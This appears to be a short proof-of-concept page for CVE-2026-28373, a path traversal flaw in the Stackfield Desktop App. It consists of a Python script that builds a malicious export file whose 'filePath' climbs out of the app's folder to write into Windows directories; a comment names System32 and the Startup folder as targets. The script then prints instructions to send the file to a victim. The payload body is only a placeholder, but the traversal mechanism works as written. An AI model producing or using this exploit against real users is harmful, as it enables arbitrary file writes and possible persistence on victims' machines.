CVE-2026-28373 Stackfield路径遍历漏洞

import json import os # PoC for CVE-2026-28373 # This script generates a malicious export file that exploits the path traversal vulnerability. # Define the payload structure based on the vulnerable functionality # The 'filePath' property contains the traversal sequence payload = { "metadata": { "version": "1.0" }, "files": [ { "fileName": "malicious_payload.txt", # Path traversal payload to write to a sensitive location # On Windows, this could write to C:\Windows\System32 or Startup folder "filePath": "../../../../../../Windows/Temp/malicious.txt", "content": "<script>evil_code_here</script>" } ] } # Create the malicious export file filename = "malicious_export.stackfield" with open(filename, 'w') as f: json.dump(payload, f, indent=4) print(f"[+] PoC file generated: {filename}") print("[+] Send this file to a victim using Stackfield Desktop App < 1.10.2") print("[+] When the victim opens the file, content will be written to the target path.")